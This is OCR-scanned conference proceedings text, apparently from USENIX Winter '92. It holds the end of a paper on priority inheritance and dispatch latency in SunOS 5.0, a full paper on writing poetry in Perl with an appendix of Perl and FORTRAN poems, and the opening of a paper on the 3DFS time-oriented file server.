thread T2• Figure 2-6 below illustrates a case where transitive priority inheritance prevents unbounded blocking by
the highest priority thread: ifrunnable thread T3 does not inherit indirectly from blocked thread TJ, then the medium
priority runnable thread T4 will preempt the execution of T3, resulting in unbounded blocking for T t •
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Figure 2-6: Indirect Blocking & Transitive Priority Inheritance

As described in the literature [Rajkumar 1988], the basic priority inheritance protocol imposes bounds on the duration
of blocking. Briefly, if there are m lower priority threads, and these threads access k distinct synchronization objects
in common with a higher priority thread, the higher priority thread can be blocked by at most a number of critical sec­
tions equal to the minimum of m and k .

2.5.2.1 Priority Inheritance Primitives

Table 3 summarizes the operations of priority inheritance. Priority inheritance for both mutexes and readers/writer
locks is implemented using these primitives. The pi_wilitoO function is used when a thread attempts to acquire a syn­
chronization object and discover~ that it is blocked by another thread. The ptwaive() function is used when a thread
releases ownership of a synchronization object and must surrender the inheritance that it received via the synchroni­
zation object. These two functions are the primary operations in our priority inheritance implementations. Note that
the function pi_willto() contains no direct reference to the synchronization object that the argument thread is blocked
on. This is because ptwilltoO is called only after the argument thread has been put on the sleep queue for the syn­
chronization object. Doing so causes information to be saved within the thread structure itself, allowing the synchro­
nization object to be found via the thread.

Table 3: Priority Inheritance Primitives

Function Name Operation

void pi_willto{thread) Will the priority of the argument thread to all threads directly or indi-
rectly blocking it.

void pi_waive{thread, sync_object) Release the priority inheritance that the argument thread obtained via
a particular synchronization object.

2.5.2.2 Priority Inheritance Implementation

Priority inheritance comes into play only when threads block on a synchronization object. To implement transitive
priority inheritance, when starting from an arbitrary synchronization object, priority inheritance must be able to find
the owning thread and each successive synchronization object and thread in the blocking chain. In order to make this
information quick and easy to obtain, each synchronization object maintains a pointer to its owning thread; likewise,
each blocked thread keeps a pointer to the synchronization object it is blocked on and a tag field to identify the syn­
chronization object's type. Using this information, the priority inheritance mechanism in SunOS 5.0 can follow a
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blocking chain to the end. The end of the blocking chain, as far as priority inheritance is concerned, arrives when it
finds a thread that is not blocked, or a synchronization object that is not priority inverted.

The distinction that priority inheritance makes between global priority and inherited priority is reflected in the imple­
mentation. The thread structure contains a field for each. Ordinarily, the field that represents the thread's inherited pri­
ority is zero. If the thread inherits a priority, the thread is marked to indicate this condition, and the inherited priority
field is set accordingly. The code that enqueues and dequeues threads makes note of whether the thread possesses an
inherited priority and uses it instead of the global priority when appropriate. Related to this issue, when priority inher­
itance encounters a thread that is in a sleep queue or dispatch queue, it must first dequeue the thread, will the new,
inherited priority to the thread, then re-enqueue the thread at its new priority. Currently, in order to maintain the con­
sistency of global data structures, all these operations must take place while holding schedlock, the global scheduler
lock (§2.4).

Note further that it is possible for a thread to hold several synchronization objects at once, each of which could be pri­
ority inverted at potentially different priorities. When priority inheritance wills a priority to a priority inverting
thread, it saves a record of the synchronization object and the priority of the highest priority thread blocked on it in a
circular linked-list in the thread structure of the priority inverting thread. When the priority inverting thread releases a
synchronization object, the record of its inheritance from this synchronization object is removed from the thread's
linked-list, and the linked-list is traversed to compute the thread's (possibly new) dispatch priority.

The sleep queue and all the priority inheritance information associated with a synchronization object are encapsulated
in an abstract data type called a turnstile. Figure 2-7 below displays this relationship. Because there are many, many
synchronization objects in the system, we allocate turnstiles dynamically when needed. When a thread blocks on a
synchronization object that previously had no threads blocked on it, the newly blocked thread allocates a turnstile
from a pool of turnstiles and attaches the turnstile to the synchronization object. The pool itself grows with the num­
ber of allocated threads in the kernel. The existence of a turnstile attached to a synchronization object is an indication
that there are threads blocked on a synchronization object. When a thread releases a synchronization object that it
owns and in so doing discovers that it has awakened the last of the threads in the turnsti Ie's sleep queue, the releasing
thread returns the turnstile to the free pool.

The traditional UNIX implementation of sleep queues uses a hashing scheme based on a wait channel, which is usu­
ally the address of a desired resource or some offset therefrom; aliasing of hash buckets is implicit in such a scheme
[Leffler 1989]. High priority processes sleeping on unrelated wait channels may hash to the same sleep queue bucket;
thus to wake up processes sleeping on a particular resource, it is necessary to hash to the appropriate sleep queue
bucket, then traverse the sleep queue looking for those processes with matching wait channels. The result is that the
behavior of insertion and release operations on sleep queues is not bounded by the number of processes competing for
the resource-instead, the bound is the number of processes in the system.

Rather than using hashing schemes, turnstiles provide a per-synchronization object sleep queue, so aliasing is
avoided. Insertion and release operations on turnstiles are bounded only by the number of threads competing for the
associated synchronization object. Since threads waiting in a turnstile are queued in priority order, higher priority
threads have a fixed bound for behavior. Turnstiles have potential to improve the performance of sleep and wakeup
operations on large systems with lots of threads.
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2.5.2.3 Priority Inheritance for ReaderslWriter Locks

Khanna, Sebree, Zolnowsky

The case of readers/writer locks deviates somewhat from the idealized picture we have presented for synchronization
objects. When a synchronization object of this type is acquired by a thread with the intention of updating the data it
protects, Le., when a writer lock is in effect, there is no deviation: there is a single thread that controls the synchroni­
zation object and is the beneficiary of all inheritance applied via the synchronization object. The deviation comes in
the case of readers locks. Readers locks can have a potentially large number of "owners." It is not practical in terms of
space to keep a pointer in the readers lock to every thread that currently "owns" it. To simplify the implementation,
for readers locks we have implemented what we term the owner-oJ-record. When a readers/writer lock is acquired for
reading, the first thread that obtains the readers lock is assigned "ownership" of the synchronization object As such,
it is the beneficiary of all inheritance that passes through the readers lock until it releases the lock. When the owner­
of-record thread releases a readers lock, it is possible that there are still other threads that own it These owners are in
a sense anonymous, since they cannot be identified by inspecting the readers lock, nor can they inherit from it while
they own it Since it is not an uncommon condition for a readers lock to have a single owner, our measurements indi­
cate that there is still value in providing this limited form of priority inheritance for readers locks.

3.0 Lessons Learned

In the implementation of the realtime scheduling features, we encountered two problems: the requirements on mutex
implementation and the generalization of priority inheritance.

3.1 Mutex Entry/Exit Implementation

Priority inheritance requires the owner of a synchronization object to be known. Our basic mutex entry code appears
like:

Idstub
tst
bnz
nop
st

[MUTEX_PTR + M_LOCK), LOCK REG
LOCK REG
lock_already_held

An interrupt occurring between the Idstub and st instructions can leave the mutex held by an unknown owner.

One possible solution is to raise the processor interrupt level to prevent interruption during the above sequence. Since
the management of the processor interrupt level is nontrivial, efficiency requires that uncontested entry/exit should
not require raising the processor interrupt level. Another solution might be to use an atomic operation which could set
the lock and owner fields simultaneously, but in the SPARC architecture [SPARC 1991], the sole atomic update avail­
able is the Idstub instruction. A third solution might be to have a blocking thread arrange for deferred inheritance,
which the acquiring thread would have to check for and assume after return from interrupt Again, this solution was
rejected for its performance cost

We chose to solve this issue by constraining the mutex lock operation to a stylized behavior which could be recog­
nized by the interrupt handler. The use of a fixed register as LOCK_REG, with the convention that a zero value in this
register indicated the successful acquisition of a mutex, allows the interrupt handler to safely set the mutex owner
before processing the interrupt. Not only does this work in the uniprocessor case, where no other thread ever sees the
lock held with an unknown owner, but it works in the multi-processor case because the interval between setting the
lock and setting the owner is bounded, and a thread attempting to acquire the mutex from another processor can spin
until the owner is known.

In order to prevent erroneous inheritance, possibly to a thread that is no longer extant, we chose to invalidate the
owner field of a mutex at exit This invalidation could not take place after the lock was released due to possibility of a
race with a thread acquiring the mutex from another processor. It could not take place before the lock was released,
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due to the possibility of taking an interrupt between clearing the owner and the lock. and being unable to determine
unambiguously whether the lock was held by the interrupted thread or some other. Hence we were forced to encode
the owner and lock fields within the same word. and clear both with a single instruction.

3.2 Limitations in Providing Priority Inheritance

Priority inheritance is appropriate only when it is known which thread or threads must release the synchronization
object in order for the blocking thread to proceed. We faced this issue for readers/writer lock. due to the cost of main­
taining the list of reader access holders.

For condition variables and semaphores. priority inheritance is not possible. The protocol for these synchronization
objects does not determine which thread(s) will release these objects. This is particularly unfortunate for condition
variables, which can be used with mutexes to build higher order synchronization operations. Even if the protocol for
these synchronization objects determines which threads(s) will be releasing them. the inability to inherit through con­
dition variables precludes the provision of inheritance.

4.0 Performance Measurement

Scheduling performance from the realtime perspective can be defined in terms of the dispatch latency. We define dis­
patch latency as the amount of time it takes to begin execution of a high-priority runnable thread. As illustrated in
Figure 4-1, this time includes the remainder of the non-preemption interval for the currently running thread. the time
to resolve resource conflicts represented by acquiring held synchronization objects. and the context switch time. We
do not include the processing time associated with interrupts nor any of the time within the application used in
responding to the event which made the thread runnable. The total application response time will of course include
both interrupt and application processing time.

Fi~ure 4-1: Dis latch Latenc
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We examined two different ways of measuring dispatch latency. The first way is to measure all possible paths in the
kernel to see if there exists a path which exceeds the response time we wish to guarantee. This requires a complete
static analysis of the kernel. and the use of dynamically loaded modules again makes this solution infeasible. The sec­
ond way is to repeatedly sample the dispatch latency of the kernel under specified loads. With a sufficiently large
number of samples, this second way should have the same result. To measure the dispatch latency of SunOS 5.0, we
have chosen the sampling approach.

Our sampling dispatch latency test (SDLT) is composed of a sampling process. using a sample driver and recording
violations for further analysis.The sampling driver provides two ioctlO commands to control sampling. The first com­
mand computes and records the time for a wakeup event. blocks the sampling process. and scheduling the wakeup via
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realtime_timeout. When the wakeup callout function is called, it unblocks the sampling process, enables kernel exe­
cution path recording, and records the time of kernel wakeup. When the thread resumes execution, it records the time
of kernel dispatch, and the first ioctiO then returns the recorded times to the sampling process. The sampling process
then uses the second ioctiO command to disable kernel execution path recording and attain a timestamp for the return
to user mode. The execution path recording has been extended to include timestamps to enable detailed analysis.
When the sampling process detects a dispatch latency violating our projected guaranteed value, it captures the viola­
tion time parameters and execution path trace to a file.

We have measured our kernel with preemption both disabled and enabled. With preemption disabled, we have
observed dispatch latencies in excess of 100 milliseconds. Our preliminary results with preemption enabled showed a
dispatch latency of about 2 milliseconds on the SPARCstation 1, with a small number of larger values. Our analysis
of these larger values pointed to long non-preemption intervals associated with the memory management unit hard­
ware layer [Moran 1988]. We are in the process of reducing these intervals. A similar problem can arise when the
context of the realtime process is stolen by another process. The operations associated with reloading the realtime
process's context can take over 4 milliseconds on a SPARCstation 1, much of which is non-preemptible. We discuss a
possible solution to this problem in § 5.0.

5.0 Future Work

Although we feel that we have achieved much in bounding the dispatch latency of SunOS, there remain a number of
areas where we could improve the performance of the system, or increase its utility as a base for realtime applica­
tions. In this section, we discuss some of the areas we are interested in improving.

• Realtime 110

In SunOS 5.0, much of the I/O processing is done through streams. The streams processing is done at the systems pri­
ority level and thus executes below any active realtime thread. It is impossible to guarantee realtime I/O for streams
without drastically changing the handling of streams processing. Other I/O activities require additional changes in
request queuing to gain realtime priority-based behavior.

• Dispatch Latency

We intend to continue trying to reduce the dispatch latency of the system. Work is going on to improve the granularity
of the locking and to reduce the length of non-preemption intervals. It is our goal to bring the dispatch latency on the
SPARCstation 2 down to 1 millisecond.

While we have been able to bound dispatch latency, applications are interested in the overall response time. One of
the components of response time is the time required to process interrupts. Arrival of multiple interrupts may delay
dispatch, thus making the duration of interrupt processing unbounded. We intend to provide the user a mechanism to
block certain interrupts temporarily when running in a multiprocessor environment. Such a capability provides a
means of shielding realtime threads from the delays due to interrupts.

• Locking Contexts

Since realtime threads are often event-driven, they typically do not run very often. On machines such as the SPARC­
station 1 that implement the older, large kernel-managed TLB-based MMU, it is possible for a realtime thread to have
its context stolen, even though its pages may be locked into primary memory. In order to resume the realtime thread,
it may be necessary to steal a context from another thread and reload the realtime thread's context To avoid the long
non-preemption points associated with this activity, we are contemplating implementing a facility to lock a context
into association with a thread, providing a facility analogous to that for locking pages into memory.
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6.0 Summary

In SunOS 5.0, we have provided the following realtime functionality:

• Static priority and fixed quantum scheduling for realtime threads.

• A fully preemptive kernel, providing bounded dispatch latency.

Realtime Scheduling in SunOS 5.0

• Hidden scheduling in the kernel has been greatly reduced, eliminating much priority inversion.

• Priority inversion arising from the use of synchronization objectS has been controlled by implementing the basic pri­
ority inheritance protocol.
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CAMELS AND NEEDLES: COMPUTER POETRY MEETS
THE PERL PROGRAMMING LANGUAGE

Sharon Hopkins, Telos Corporation

ABSTRACT

Although various forms of literature have been created with the assistance of a computer, and even
been generated by computer programs, it is only very recently that literary works have actually been written
in a computer language. A computer-language poem need not necessarily produce any output: it may
succeed merely by fooling the parser into thinking it is an ordinary program. The Perl programming language
has proved well-suited to the creation of computer-language poetry.

INTRODUCTION

Over the past few decades, considerable work has been done in the area of computer-generated
writing. Projects have ranged from programs designed to find simple anagrams, to dedicated pangram [1]
generators, to entire poems or stories (usually nonsensical) produced by stringing together chains of words
that occur next to each other in human-generated texts. One French group [2] went so far as to experiment
with computer-generated writings that could be read in both French and English. A number of science
fiction and fantasy stories have been written in the form of flow charts, or designed to appear as if they had
been written in some programming language yet to be invented. But until very recently, little or no attempt
has been made to develop human-readable creative writings in an existing computer language. The Perl
programming language has proved to be well suited to the creation of poetry that not only has meaning in
itself, but can also be successfully executed by a computer.

Why Computer Poetry?

The question naturally arises: Why write poetry in a computer language at all? Computer-language
poetry is essentially no different from any other formal poetry, except that the rules of the computer language
dictate the form the poem must take, and provide a mechanism for measuring success. If the poem executes
without error, it has succeeded. The great advantage formal poetry has over free verse is the balance
provided between familiarity and strangeness, stasis and innovation. When reading rhymed poetry, for
example, the reader develops an expectation of how each line will end. The poet's task is to satisfy that
expectation, by providing a rhyme, while surprising the reader with a word or meaning outside of his
expectations. With computer-language poetry, the surprise is enhanced: the reader develops expectations
as to what is going to come next based on familiarity with the standard uses of that language's vocabulary.
In Perl, if the word readO appears, the person reading that Perl script will naturally expect the items in
parentheses to be a filehandle, a scalar variable, a length value, and maybe an offset. The poet, finding
readO in the Perl manual or reference guide, is more likely to write "read (books, poems, stories)". In the
same way, sinO (of sine, cosine, and tangent) becomes sin, the downfall of man. Another advantage to
writing computer-language poetry, in addition to the challenge provided by the constraints of the form, is that
you can get some creative writing done and still look like you're working when the boss glares over your
shoulder.
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Why Perl?

Hopkins

The Perl programming language provides several features that make poetry writing easier than it
might be in other languages. Cobol poetry, for example, would always have to start with IDENTIFICATION
DMSION. While that would make an excellent opening for~ poem, it's hard to see what could be done
for the next one. Besides, getting a volunteer to Write poetry in Cobol is likely to be impossible. We do have
one example of a poem in FORTRAN (Fig. 1), but FORTRAN, too, is tightly constrained in that most of
the interesting things have to be said up fronl Layout of FORTRAN poems is also tricky, given the
limitations on what can safely be put in the first few columns. One of the reasons for Perl's popularity is that
you don't have to say what you are going to say before you say it. In addition, Perl has in its vocabulary
something on the order of 250 words, many of which don't complain when abused . Shell poetry is an
attractive possibility, with plenty of good words available. Unfortunately, most of the words available in a
shell script are likely to return non-poetic messages at artistically inappropriate moments. In Perl, there is
a decent supply of usable words, white space is rarely critica~ and there is almost always "More Than One
Way To Do It". And since Perl is interpreted rather than compiled, you never have to keep ugly binaries
around pretending to be your poem; in addition, poem fragments can be tested quickly by running perl
interactively, or by feeding lines to perl on the command line via the perl -e switch.

A Little mstory

Randal Schwartz probably deserves credit for inspiring the first-ever Perl poems. Randal's "Just
another Perl hacker," (JAPH) signature programs prompted me to suggest to Larry Wall that he write a
JAPH that would also be a haiku. By lunchtime that day (mid-March of 1990), Larry had produced the
world's fust Perl poem (Fig. 2):

print STDOUT q
Just another Perl hacker,
unless $spring

In this poem, the q operator causes the next character (in this case a newline) to be taken as a single quote,
with the next occurrence of that delimiter taken as the closing quote. Thus, the single-quoted line 'Just
another Perl hacker,' is printed to SIDOUT. In Perl, the "unless $springll line is mostly filler, since $spring
is undefined. In poetical terms, however, "$spring" is very important: haiku poetry is supposed to specify
(directly or indirectly) the season of the year. As for the q operator, that reads in English as the word
"queuet" which makes perfect sense in the context of the poem.

A FEW WAYS TO DO IT

The above poem demonstrates a particular difficulty with Perl poetry. Since Perl variables begin with
$ , @ , or % , the aspiring Perl poet must decide whether or not these type markers should be pronounced.
In the "Just another Perl hacker," poem, pronouncing $ as t'dollartt is necessary, as haiku by definition consist
of one 5 syllable line, one 7 syllable line, and a fmal 5 syllable line. Notice that SlDOUT must also be
pronounced "Standard Out" for the poem to work. Most Perl poetry that has been written so far has tried
to work Perl's special characters into the poems, reading $ as tldollar", and @ as "attt. Similarly, punctuation
marks (semicolons at ends of lines, parentheses, etc.) are most often worked into the text of a Perl poem.
An alternative approach to Perl poetry punctuation has been to line all extraneous markings (quotes,
semicolons, etc.) along the right hand margin, and to ignore dollar signs and the like when they occur within
the body of the poem. This can help make Perl poetry look more like English, but it tends to be messy, with
random bits of unmatched punctuation remaining scattered through the poem.

Working Perl Poems

There are basically two types of Perl poetry: those poems that produce output, and those that do
not. The former, not surprisingly, are much harder to write. After the first Perl haiku, the only examples
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of "useful" Perl poetry are Craig Counterman's "Ode to My Thesis" (Fig. 3) and "time to party" (Fig. 4). "Ode
to My Thesis" is readable in English, parses in Perl, and produces text output summarizing and concluding
the theme developed within the poem. In order to hide items like the > &2 construct, and other
unpronounceables, most of the punctuation has been relegated to the far right of the screen or page.
Disposing of inelegant punctuation has the added advantage of obscuring the intent of the program, making
it hard for the casual obselVer to guess what output the poem will produce. The theme of "Ode" interacts
nicely with the Perl vocabulary, as words like "write", "study", and "sleep" seem natural in a poem dedicated
to the joys of completing a dissertation.

In "time to party", Craig uses Perl's fIle-handling mechanism to make the poem produce output: in
this case, creating an output fIle called 'a happy greeting' which contains the signature line for the poem.
Other methods for producing output from a Perl poem might include system calls with useful return
messages, or output from the dieO and warnO commands. For input obfuscation, various tricks can be
played on the Perl copyright notice, which is accessed through the $] special variable. This technique has
been used in at least one JAPH script, and could be made to work in a Perl poem using Craig's format, with
non-poetic constructs moved out of the line of vision.

"A poem should not mean but be." [3]

Non-useful Perl poetry, my own specialty, has two basic visual formats: the frrst type looks more like
standard English free-verse poetry, and tends to be built on individual functions and operators that are
selected to create a particular mood or image; poems in the second format tend to be more stanza-oriented,
and to take a sort of word-salad approach, using any and all Perl reselVed words that can be made to fit.
Most poems of the first type, those with a more free-form linear organization, tend to be what I refer to as
"keyword" poems. The poems are built around one or more Perl reselVed words that also carry a weight of
meaning in English. Examples of this type of poem are my "listen" and "reverse" poems (Figs. 5 & 6).

In "listen", a second-person poem speaking directly to the reader, most of the weight of the poem
is carried by Perl reselVed words: IistenO, openO, joinO, connectO, sortO, selectO. Since Perl parses bare
words as quoted strings, extra words can be included in each expression to provide added meaning in English
without causing syntax errors. Thus, joinO becomes "join (you, me)", and connectO becomes llconnect (us,
together)". Because Perl rarely worries about white space, the poem can be arranged on the page for a
stronger visual impact. For example, the statement tldo not die (like this) if sin abounds;" can be broken with
a newline (making the phrase read as separate lines in English) without confusing Perl. In addition, the
comma operator can be used to stretch out Perl statements, and relieve the monotony of a poem filled with
semicolons.

The poem "reverse" makes use of Perl's conditional (if-then-else) operator, 1: , to provide variation
in tone, so that the poem reads more as a conversation, not ~erely as a set of commands or instructions.
In this poem, words like "alarm", "warn", I'sin", "die", and "kill" are used to create tension, and to increase the
poem's emotional impact. The fact that all of these are perfectly ordinary and mundane functions in Perl
heightens their surprise value when used in a poem. At the same time, the oddity and unfamiliarity of Perl
syntax, when read in English, gives the poem a sinister and mysterious flavor. At the end of the poem, the
keyword "reverse" (used as "reverse after") is intended to give the poem an ironic twist, making it clear that
nothing previous in the poem can be trusted.

The critical process for the keyword type of perl poem is weeding out words and phrases that do not
enhance the meaning of that particular poem. I have one Perl poem, called "limits", that is composed almost
entirely of lines that occurred to me while I was writing "listen", but which did not seem to fit the "listen"
poem thematically. It can be difficult, however, to strike a balance between meaning and mystery; it's hard
to determine when you have said enough to make the poem coherent as poetry without sacrificing the
integrity of the program. Because it's easy to include quoted material in Perl programs, one is often tempted
to simply wrap a pair of quotes around everything that won't pass the Perl parser. The typical end-result is
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a poem that is neither surprising enough to be interesting in English nor Perlish enough to be interesting as
a Perl program. My poem "rush" (Fig. 7) unfortunately falls into this category.

The word-salad type Perl poetry is often more interesting than the keyword-based Perl poetry, both
from a programming and from a literary standpoint. 1\vo example poems of this type are Larry Wall's "Black
Perl" poem and my "shopping" poem (Figs. 7 & 8). Unlike the more loosely organized Perl poems, these
stanza-based poems are generally created using the "kitchen sink" approach. Working from a list of all of
Perl's reselVed words (and pieces of words), the goal is to fit as many as possible into the Perl poem while
maintaining a consistent theme or image. This type of poem is likely to be more humorous than those with
a more restricted vocabulary, and the end results are surprisingly readable. Producing a "kitchen sink" Perl
poem can require considerable ingenuity on the part of the programmer-poet, since many Perl words do not
fit easily into English-language poetry. For example, Perl's systemQ function becomes "system-atically" in
the poem "shopping", and unlinkO is used in "unlink arms" in "Black Perl". "Black Perl" is particularly
remarkable since it was written before poetry optimizations (allowing bare words to be interpreted as quoted
strings) had been added to Perl.

The visual impact of the "kitchen sink" type of Perl poem also differs from that of the keyword-based
poems. In both "Black Perl" and "shopping", the action of the poem is divided into separate visual blocks,
each with an identifying label. In Perl, statement labels can be any single word (preferably upper case),
followed immediately by a colon. Statement labels provide an excellent method for inserting extra English
words into a Perl poem while providing the poem with additional structure and cohesiveness. While this
technique is also used in the keyword type poems, it is not as evident as in the more stanza-oriented Perl
poetry.

"All poems are language problems." [4]

When writing poetry that is meant to run without producing any output, one useful trick is to make
sure the program exits without executing all of its statements. In the "Black Perl" poem, the program "actually
exits about a third of the way through the first line. The rest of the poem will still have been checked for
syntax errors, but the various remaining "die", "warn", "kill", and "exit" functions are never actually called
Likewise, in the "shopping" poem, the goto statement at the end of the first stanza causes Perl to skip past
the second stanza, which would otherwise provide an ugly warning message. This poem also exits before its
end, thereby avoiding an error message in the "later:" stanza, at "goto car" (since subroutine "car" does not
exist). Judicious use of the. (concatenation) , (comma) and 1: (conditional) operators can help with
semicolon avoidance. Similarly, playing with white space can help make a Perl poem more readable.

PROS AND CONS OF PERL POETRY

Writing poetry in Perl provides a number of literary "pluses". The nature of computer languages,
where most of the available words are commands, forces the computer-language poet to write in the
imperative voice, a technique that is otherwise usually avoided. But the use of short, imperative words in
a poem can actually serve to heighten the drama, especially with meaning-laden words such as "listen", "open",
''wait", or "kill". In Perl, all but the last statement in a program require a concluding semicolon; leaving the
final statement of a Perl poem bare of punctuation can help the poem's meaning seep into the reader's
subconscious (this technique is used in aU of the non-working perl poems included with this paper).

I had hoped that learning to write poetry in Perl would be of assistance in learning more
conventional Perl programming, but this has not proved true in practice. I have absorbed a fair amount of
Perl syntax, and a little bit of Perl "style", but in general Perl programs that read as poetry· tend not to be in
idiomatic Perl. For example, constructs that are very important in Perl, such as the $_ special variable, and
associative arrays, are difficult to work into Perl poetry. Perl semantics in particular get short-changed, as
a main goal of Perl poetry is to use reserved words for unexpected purposes. One learns how many
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arguments each function takes, but not what a given function is supposed to do. In addition, use of all-lower­
case unquoted words is a bad habit to get into, as new reserved words might be added to Perl at any point.
A sloppy Itif it parses, do it" mentality is not generally a useful programming style to adopt.

CONCLUSION

With only three or four practicing Perl poets, the field is still too new, and too small, for a thorough
study of Perl poetry. Other computer languages boast an even smaller set of practicing poets, making cross­
language poetry comparisons impossible to undertake. Perl is currently the language of choice for writing
computer-language poetry, but this may be more by accident than by design. Clearly, Perl is suitable for
writing poetry, but not ideal. As Perl continues to spread, and more people begin to express themselves in
Perl, it is hoped that more poetry will be written in Perl by people of various backgrounds and writing (or
hacking) styles. Poetry in other programming languages (even Cobol) would also be welcome; it may be that
some other language, already in existence, would be even better suited to poetic flights than Perl is. It is
hard to imagine, however, another programming language sufficiently quirky to attract the sort of hacker who
would willingly program in poetry.
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NOTE ON TITLE

The first part of the title for this paper, "Camels and Needles", is taken from a passage in the Bible where
the statement is made that "it is easier for a camel to go through the eye of a needle than for a rich man to
enter the kingdom of God." (Matt. 19:24) Writing perl poetry is kind of like shoving camels through
needles...

AVAILABILITY

For more information regarding perl poetry, or for copies of perl poems written by Sharon Hopkins, e-mail
sharon@jpl-devvax.jpl.nasa.gov.

Other authors whose works are discussed here must be contacted individually regarding further reproduction
of their poems.
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APPENDIX

Figure 1: "program life"

program life

implicit none
real people
real problems
complex relationships
volatile·people
common problems
character friendship
logical nothing
external influences

open (1,file=friendship,status='new')
2 format (a, 'letter')

write (1,2) 'her'
c what happens

if (nothing) write (1,2) 'her again'
continue
if (nothing) then

close (1,status='delete')
else

open (2,file='reply',status='old',readonly)
read (2,2) friendship
close (2,status='keep')
close (1,status='save')

end if

end

David Mar, 18-Mar-1991.
mar@astrop.physics.su.OZ.AU

[Used by permission.]

Figure 2: perl haiku (untitled)

print STDOUT q
Just another Perl hacker,
unless $spring

# Larry Wall
# lwall@jpl-devvax.jpl.nasa.gov

[Used by permission.]
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Figure 3: "Ode to My Thesis"

# Ode to My Thesis, a Perl Poem
# (must be run on Perl 4.0 or higher)

«birth
G

r
o

w
t

h
re­
birth

seek
enlightenment, knowledge, experience

goto MIT;

sleep "too little", study Sa_lot,
wait, then

"a.s.",

leave. then, return to
MIT

now,
$done = 'a Ph.D.

warn pop @mom, II 1'11 be here a while

study, study, do study;

push
myself, computers, experiments

read
data, references, books

study,
write,

write,
write,

do more if time
redo if $errors

do more work if questions_remain

now :
write,
chop if length $too_great

format
Thesis

tell all,
done, finally
now, do rest

shout.
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and
hear

it
'echo

Now I am $done'

# Craig Counterman, April 27, 1991
# ccount@athena.mit.edu

[Used by permission.]

Figure 3.1: "Ode" output

[Output from "Ode to My Thesis"]

I'll be here a while
Thesis
Thesis
Thesis

Now I am a Ph.D.

398

Hopkins

"

USENIX - Winter '92



Hopkins Camels and Needles: Computer •.•

Figure 4: "time to party"

# time to party
# run using perl 4.003 or higher

«;
done with my thesis

shift @gears;
study($no more);
send(email.to.join(@the. @party, system»;

open (with, ">a happy greeting");
time, to, join (@the, flock(with, $relaxed), values 'and_have_fun);
connect(with old, $friends);
rename($myself, $name = "ilyn");
$attend, local($parties);

pack(food, and, games);
wait; for (it) {;};

goto party;
open Door;
send(greetings, to, hosts, guests);
party:

tell stories;
listen(to stories, at • length);
read (comics, $philosophy, $games);

seek(partners, $for, $fun);
select(with), caution;
each 'seeks, 'joy;

$consume, pop @and food;
print $name .$on .$glass;

$lasers, $shine; while ($batteries) { last;};

time; $to, sleep
sin, perhaps;

$rest,
Still .$next .$weekend;

# Craig Counterman, April 27, 1991
# ccount@athena.mit.edu

[Used by permission.]
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Figure 5: "listen"

APPEAL:

listen (please, please);

open yourself, wide,
join (you, me),

connect (us,together),

tell me.

do something if distressed;

@dawn, dance;
@evening, sing;
read (books, poems, stories) until peaceful;
study if able;

write me if-you-please;

sort your feelings, reset goals, seek (friends, family, anyone);

do not die (like this)
if sin abounds;

keys (hidden), open locks, doors, tell secrets;
do not, I-beg-you, close them, yet.

accept (yourself, changes),
bind (grief, despair);

require truth, goodness if-you-will, each moment;

select (always), length-of-days

# Sharon Hopkins, Feb. 21, 1991
# listen (a perl poem)

Hopkins
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Figure 6: "reverse"

first:

tempted? values lie:

do not, friend, alarm, "the flock";
wait until later;

warn "someone else"

& die quietly if-you-must;

then:

sin? seek absolution?
if so, do-not-tell-us, "on the sly";

print it "in letters of fire",
write it, "across the sky";

kill yourself slowly while each observes;
do it (proudly, publicly) if you-repent;

tell us,
all,
everything;

reverse after

# Sharon Hopkins, Feb.27, 1991
# reverse (a perl poem)
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Figure 7: "rush"

'love was'

&& 'love will be' if
(I, ever-faithful),

do wait, patiently;

"negative", "worldly", values disappear,

@last, 'love triumphs';

join (hands, checkbooks),
pop champagne-corks,

"live happily-ever-after".

"not so" ?
tell me: "I listen",

(do-nat-hear);

push (rush, hurry) && die lonely if not-careful;

ttl will wait."

&wait

# Sharon Hopkins, June 26, 1991
# rush (a perl poem)
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Figure 8: "Black Perl"

BEFOREHAND: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);

write it, print the hex while each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.

unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");

kill them, dump qualms, shift moralities,
values aside, each one;

die sheep! die to reverse the system
you accept (reject, respect);

next step,
kill the next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";

do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;

exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;

AFTERWORDS: tell nobody.
wait, wait until time;
wait until next year, next decade;

sleep, sleep, die yourself,
die at last

# Larry Wall
# lwall@jpl-devvax.jpl.nasa.gov

[Used by permission.]
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Figure 9: "shopping"

# (must be run under Perl 4.003 or higher)

home: read (ads, 20, 30); sort drawers; getsockname; package returns;
write note, tell husband; pack (purse, full, Sbills);
unlink frontgate; split, goto mall;

Hopkins

parking: shift gears; splice (truck, van, "crunch");
reverse; truncate (cars, 3); require ids, insurance;
tell bozos, wait; warn them if alarm;
keys pocketed, open mall-doors;

mall: join (crowds, frenzy); return old-stuff, goto sales if 'time-is-right';
listen (muzak, .children); seek (bargains, deals, gadgets, goodies),
system-atically; select (carefully), "what you want"; kill no time;
"need more credit cards" ? open accounts: "buy now, pay later!lI;
push (people, "out of my way!"); values everywhere; "Buy Everything!!!";

later: reset stopwatch; sort purchases; log SS, checks, etc.
exit; goto car, home; join (husband, kids);
tell children, each (twice), goto bed;
tell spouse, "Goodnight ll

;

#11#111####111#######1###1#11######1##1######1####1#1###11#1111##

husband: pipe (lit, glowing), close drapes;
accept (resigned, accustomed), defeat

# Sharon Hopkins, July 18, 1991
# shopping (a perl poem)
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3DFS: A Time-Oriented File Server

W.D.Roome

AT&T Bell Laboratories
Murray Hill, New Jersey 07974

ABSTRACT

3DFSTId is a network file server that provides time-oriented access to files and directories. 3DFS allows a user to
read the version of a file as it existed on a particular day in the past, or to list the files in a directory on some prior
date. 3DFS saves the daily incremental backups from other file systems (Sun file servers, Vaxen, ...), and creates an
on-line file system from these dumps. 3DFS uses optical disks in an automated jukebox, so no operator
intervention is required. 3DFS uses the Sun NFSTId protocol, and looks like any other NFS server. Any UNIX®
command can read files in 3DFS, and users mount 3DFS just like any file server. Because 3DFS provides on-line
access to old versions, users can access those versions in-place, without copying them to magnetic disk. This
paper describes 3DFS, its implementation, and our experience with it.

1. Introduction

Almost everyone who has ever used magnetic disks has discovered-sometimes very painfully-that magnetic
